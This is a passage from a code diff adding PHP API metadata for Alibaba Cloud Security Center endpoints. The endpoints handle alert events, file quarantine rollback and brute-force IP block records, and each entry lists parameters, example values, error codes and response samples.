false, + 'example' => 'remark test.', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A3653911-33A6-5268-8B91-7690471F7AA1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataRetrieveNotFinished', + 'errorMessage' => 'Data retrieving not finished yet', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'OperationTaskNotExists', + 'errorMessage' => 'The specified operation task does not exist', + ], + [ + 'errorCode' => 'MissingTaskId', + 'errorMessage' => 'Task id is mandatory for this action.', + ], + [ + 'errorCode' => 'InvalidOperationForEvent', + 'errorMessage' => 'The operation is invalid for the event.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"A3653911-33A6-5268-8B91-7690471F7AA1\\"\\n}","errorExample":""},{"type":"xml","example":"1B080663-F4E6-4736-89B9-48FC43E160A7","errorExample":""}]', + 'title' => '批量处理基于相同IP规则或类型的告警事件', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'RollbackSuspEventQuaraFile' => [ + 'summary' => '取消对文件隔离箱中文件的隔离。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92431', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'QuaraFileId', + 'in' => 'query', + 'schema' => [ + 'description' => '隔离文件ID。'."\n" + ."\n" + .'> 如果不输入该参数，调用RollbackSuspEventQuaraFile接口不会取消对文件隔离箱中文件的隔离，即调用该接口不生效。调用[DescribeSuspEventQuaraFiles](~~DescribeSuspEventQuaraFiles~~)接口可获取隔离文件ID（Id参数的值）。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3921797', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为sas。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '52A3AEE6-114A-499D-8990-4BA9B27FE0AA', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"52A3AEE6-114A-499D-8990-4BA9B27FE0AA\\"\\n}","type":"json"}]', + 'title' => '取消对文件隔离箱中文件的隔离', + ], + 'HandleSecurityEvents' => [ + 'summary' => '处理安全告警事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92316', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'OperationCode', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的处理方式。取值：'."\n" + ."\n" + .'- **block_ip**：阻断'."\n" + .'- **advance\\_mark\\_mis_info**：加白名单'."\n" + .'- **ignore**：忽略'."\n" + .'- **manual_handled**：我已手工处理'."\n" + .'- **kill_process**：结束进程'."\n" + .'- **cleanup**：深度查杀'."\n" + .'- **kill\\_and_quara**：病毒查杀'."\n" + .'- **disable\\_malicious_defense**：关闭恶意行为防御'."\n" + .'- **client\\_problem_check**：问题排查'."\n" + .'- **quara**：隔离', + 'type' => 'string', + 'required' => true, + 'example' => 'block_ip', + ], + ], + [ + 'name' => 'OperationParams', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件处理方式子操作的配置。'."\n" + ."\n" + .'当OperationCode取值 kill_and_quara，需要填写参数类型"subOperation":${code}'."\n" + .'可填code参数：'."\n" + .'- 隔离文件：quaraFileByMd5andPath'."\n" + .'- 通过进程id路径等查杀进程隔离文件：killAndQuaraFileByPidAndMd5andPath'."\n" + .'- 只查杀进程：killByMd5andPath'."\n" + .'- 查杀进程并隔离文件：killAndQuaraFileByMd5andPath'."\n" + .'- 通过进程id和路径等查杀容器的进程：killProcessByPidandPathandCmdline'."\n" + .'- 通过文件md5和路径查杀容器的进程：killContainerProcessByMd5AndPath'."\n" + ."\n" + .'当OperationCode取值 block_ip，参数：'."\n" + .'- 过期时间：expireTime:${timestamp}'."\n" + .'> 除了OperationCode值为`kill_and_quara`和`block_ip`此参数必填外，OperationCode为其他值的情况下，该参数值可为空。${timestamp}表示封禁此IP的截止日期时间戳。', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"expireTime\\":1719588943551,\\"subOperation\\":\\"killAndQuaraFileByMd5andPath\\"}', + ], + ], + [ + 'name' => 'MarkMissParam', + 'in' => 'query', + 'schema' => [ + 'description' => '设置加白名单的规则。该字段为JSON格式，包含字段如下：'."\n" + ."\n" + .'- **field**：加白字段。'."\n" + .'- **operate**：加白方式，取值：'."\n" + .' - **notContains**：不包含。'."\n" + .' - **contains**：包含。'."\n" + .' - **regex**：正则匹配。'."\n" + .' - **strEqual**：等于。'."\n" + .' - **strNotEqual**：不等于。'."\n" + .'- **fieldValue**：匹配值。'."\n" + .'- **uuid**：该加白规则作用范围，取值：'."\n" + .' - **part**：仅对当前资产。'."\n" + .' - **ALL**：对所有资产。'."\n" + .'> 调用[DescribeSecurityEventOperations ](~~DescribeSecurityEventOperations~~)接口获取**field**加白字段。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '[{"uuid":"part","field":"gmtModified","operate":"contains","fieldValue":"asd"},{"uuid":"part","field":"loginUser","operate":"contains","fieldValue":"vff"}]', + ], + ], + [ + 'name' => 'MarkBatch', + 'in' => 'query', + 'schema' => [ + 'description' => '否是批量加白。'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'string', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'SecurityEventIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '要处理的安全告警事件的ID集合。', + 'type' => 'array', + 'items' => [ + 'description' => '要处理的安全告警事件的ID。', + 'type' => 'string', + 'required' => true, + 'example' => '909361', + ], + 'required' => true, + 'example' => '["909361"]', + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '处理操作的备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'remark test.', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FF0020B9-999F-5DE2-985F-DB282BDA5311', + ], + 'HandleSecurityEventsResponse' => [ + 'description' => '处理安全告警事件的结果返回。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '处理安全告警事件的任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '15411', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'SecurityEventNotExists', + 'errorMessage' => 'Security event not exists.', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"FF0020B9-999F-5DE2-985F-DB282BDA5311\\",\\n \\"HandleSecurityEventsResponse\\": {\\n \\"TaskId\\": 15411\\n }\\n}","errorExample":""},{"type":"xml","example":"FF0020B9-999F-5DE2-985F-DB282BDA5311\\n\\n 15411\\n","errorExample":""}]', + 'title' => '处理安全告警事件', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'OperationSuspEvents' => [ + 'summary' => '批量处理异常事件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'SuspiciousEventIds', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件ID列表。'."\n" + ."\n" + .'> 您可以调用[DescribeSuspEvents](~~DescribeSuspEvents~~)从返回参数SecurityEventIds处获取告警事件ID。', + 'type' => 'string', + 'required' => true, + 'example' => '290852', + ], + ], + [ + 'name' => 'Operation', + 'in' => 'query', + 'schema' => [ + 'description' => '设置要对告警进行的操作。取值：'."\n" + ."\n" + .'- **deal**：处理告警（隔离）'."\n" + .'- **ignore**：忽略'."\n" + .'- **mark\\_mis_info**：标记为误报（加白名单）'."\n" + .'- **rm\\_mark\\_mis_info**：取消标记为误报（取消加白名单）'."\n" + .'- **offline_handled**：标记为已处理', + 'type' => 'string', + 'required' => true, + 'example' => 'deal', + ], + ], + [ + 'name' => 'SubOperation', + 'in' => 'query', + 'schema' => [ + 'description' => '设置对告警事件进行隔离时进行的子操作类型。取值：'."\n" + ."\n" + .'- **killAndQuaraFileByPidAndMd5andPath**：根据PID结束该进程的运行，并隔离该进程的源文件。'."\n" + .'- **quaraFileByMd5andPath**：隔离该进程的源文件。'."\n" + .'- **killAndQuaraFileByMd5andPath**：结束该进程的运行，并隔离该进程的源文件。', + 'type' => 'string', + 'required' => false, + 'example' => 'killAndQuaraFileByPidAndMd5andPath', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识。'."\n" + ."\n" + .'固定取值为**sas**，表示来自云安全中心客户端的请求。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'WarnType', + 'in' => 'query', + 'schema' => [ + 'description' => '处理的异常事件的类型。取值：'."\n" + ."\n" + .'- **alarm**：告警'."\n" + .'- **不填**：异常', + 'type' => 'string', + 'required' => false, + 'example' => 'alarm', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '异常事件处理的结果状态。取值：'."\n" + ."\n" + .'- **true**：处理成功。'."\n" + .'- **false**：处理失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'AccessCode' => [ + 'description' => '是否有权限访问。取值：'."\n" + ."\n" + .'- **pass**：有权限。'."\n" + .'- **no_permission**：没有权限。', + 'type' => 'string', + 'example' => 'pass', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ClientOffline', + 'errorMessage' => 'Client offline', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"AccessCode\\": \\"pass\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\n pass\\n true\\n","errorExample":""}]', + 'title' => '批量处理异常事件', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyCustomBlockRecord' => [ + 'summary' => '修改自定义拦截IP的规则记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器列表。', + 'type' => 'string', + 'required' => true, + 'example' => '2516fe4f-adb6-45d1-87a7-90ce1213****,30746836-68d0-47f6-8b2d-c93150da****,7c3ac531-077b-46b8-8706-5c8d4e73****', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP地址。', + 'type' => 'string', + 'required' => true, + 'example' => '10.12.XX.XX', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器防暴力破解拦截策略阻断IP的方向。'."\n" + .'取值：'."\n" + .'- **in** ：入方向 '."\n" + .'- **out**：出方向', + 'type' => 'string', + 'required' => true, + 'example' => 'out', + ], + ], + [ + 'name' => 'ExpireTime', + 'in' => 'query', + 'schema' => [ + 'description' => '拦截记录到期时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1940899881000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EE4B1F-CEF8-5A75-86D3-D012CB3D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EE4B1F-CEF8-5A75-86D3-D012CB3D****\\"\\n}","type":"json"}]', + 'title' => '修改防暴力破解拦截IP自定义规则', + ], + 'EnableCustomBlockRecord' => [ + 'summary' => '开启自定义的特定拦截IP的记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP地址。', + 'type' => 'string', + 'required' => true, + 'example' => '43.248.XX.XX', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器暴力破解拦截策略阻断IP的方向。'."\n" + .'取值：'."\n" + .'- **in** ：入方向 '."\n" + .'- **out**：出方向', + 'type' => 'string', + 'required' => true, + 'example' => 'in', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F02D5F26-70B9-53BD-9CDF-A316FD11****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F02D5F26-70B9-53BD-9CDF-A316FD11****\\"\\n}","type":"json"}]', + 'title' => '开启自定义拦截', + ], + 'EnableBruteForceRecord' => [ + 'summary' => '开启暴力破解拦截IP的特定服务器上的拦截记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '要开启的暴力破解记录的ID。'."\n" + .'> 调用[DescribeBruteForceRecords](~~DescribeBruteForceRecords~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '116602XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解规则生效的服务器的uuid。', + 'type' => 'string', + 'required' => true, + 'example' => '71046acb-8bff-4c3b-9163-24deb007****', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP地址。', + 'type' => 'string', + 'required' => true, + 'example' => '61.155.XX.XX', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号。', + 'type' => 'string', + 'required' => false, + 'example' => '22/22', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器暴力破解拦截策略阻断IP的方向。'."\n" + .'取值：'."\n" + .'- **in** ：入方向 '."\n" + .'- **out**： 出方向', + 'type' => 'string', + 'required' => false, + 'example' => 'in', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DFAECA37-4660-5EB6-9A18-8FDF56B3****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DFAECA37-4660-5EB6-9A18-8FDF56B3****\\"\\n}","type":"json"}]', + 'title' => '开启IP拦截', + ], + 'DisableBruteForceRecord' => [ + 'summary' => '关闭已经生效的暴力破解拦截IP的记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP的记录ID。'."\n" + .'> 调用[DescribeBruteForceRecords](~~DescribeBruteForceRecords~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '114166XX', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'required' => true, + 'example' => 'cbb9aa80-a8d1-443c-9ff0-2c36cd39****', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP地址。', + 'type' => 'string', + 'required' => true, + 'example' => '8.210.XX.XX', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号。', + 'type' => 'string', + 'required' => false, + 'example' => '*/*', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器暴力破解拦截策略阻断IP的方向。'."\n" + .'取值：'."\n" + .'- **in** ：入方向 '."\n" + .'- **out**： 出方向', + 'type' => 'string', + 'required' => false, + 'example' => 'in', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5EFF53F7-9B2A-58B5-AD06-6B07ACE17133', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5EFF53F7-9B2A-58B5-AD06-6B07ACE17133\\"\\n}","type":"json"}]', + 'title' => '禁用IP拦截', + ], + 'DisableCustomBlockRecord' => [ + 'summary' => '关闭自定义的一台或者多台服务器上的IP拦截策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP地址。'."\n" + .'> 调用[DescribeCustomBlockRecords](~~DescribeCustomBlockRecords~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '62.233.XX.XX', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器暴力破解拦截策略阻断IP的方向。'."\n" + .'取值：'."\n" + .'- **in** ：入方向 '."\n" + .'- **out**： 出方向', + 'type' => 'string', + 'required' => true, + 'example' => 'in', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F749D54C-3CA0-5F68-835C-AD35A2BD29EA', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F749D54C-3CA0-5F68-835C-AD35A2BD29EA\\"\\n}","type":"json"}]', + 'title' => '禁用自定义IP拦截策略', + ], + 'DescribeBruteForceRecords' => [ + 'summary' => '查询防暴力破解拦截IP的记录，即用户配置的防暴力破解策略拦截成功的拦截记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '92010', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '暴力破解防御规则的状态。'."\n" + .'取值：'."\n" + .'- **0**：失效'."\n" + .'- **1**：启用'."\n" + .'- **2**： 失败', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '175.106.XX.XX', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'InstanceId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的服务器实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-bp1fu4aqltf1huhc****', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '222.185.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的数据的最大条数。默认值为**20**。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '263', + ], + 'Count' => [ + 'description' => '当前页的数据量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'MachineList' => [ + 'description' => '防暴力破解记录的列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '返回的数据结构体。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '暴力破解防御规则的状态。'."\n" + .'取值：'."\n" + .'- **0**：失效'."\n" + .'- **1**：启用'."\n" + .'- **2**：失败', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'BlockExpireDate' => [ + 'description' => '防暴力破解IP拦截到期的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671506882063', + ], + 'Uuid' => [ + 'description' => '该记录生效的服务器UUID。', + 'type' => 'string', + 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1****'."\n", + ], + 'InternetIp' => [ + 'description' => '公网IP。', + 'type' => 'string', + 'example' => '120.79.XX.XX', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'record-test-***', + ], + 'BlockIp' => [ + 'description' => '防暴力破解拦截的IP地址。', + 'type' => 'string', + 'example' => '10.12.XX.XX', + ], + 'Port' => [ + 'description' => '防暴力破解端口。', + 'type' => 'string', + 'example' => '22/22', + ], + 'Source' => [ + 'description' => '此次规则下发的来源。'."\n" + .'- **userRule**：用户规则'."\n" + .'- **blinkRule**：系统规则', + 'type' => 'string', + 'example' => 'userRule', + ], + 'IntranetIp' => [ + 'description' => '内网IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Id' => [ + 'description' => '防暴力破解拦截规则记录主键ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '112XX', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'AntiRuleName', + ], + 'ErrorCode' => [ + 'description' => '拦截IP失败返回错误的Code信息。', + 'type' => 'string', + 'example' => 'InstanceSecurityGroupLimitExceeded', + ], + 'BlockType' => [ + 'description' => '拦截类型。取值：'."\n" + .'- **group**：安全组拦截'."\n" + .'- **alinet**：主机网络插件拦截', + 'type' => 'string', + 'example' => 'alinet', + ], + 'AliNetOnline' => [ + 'description' => '主机网络插件在线状态。取值：'."\n" + .'- **true**：在线'."\n" + .'- **false**：离线', + 'type' => 'boolean', + 'example' => 'false', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageInfo\\": {\\n 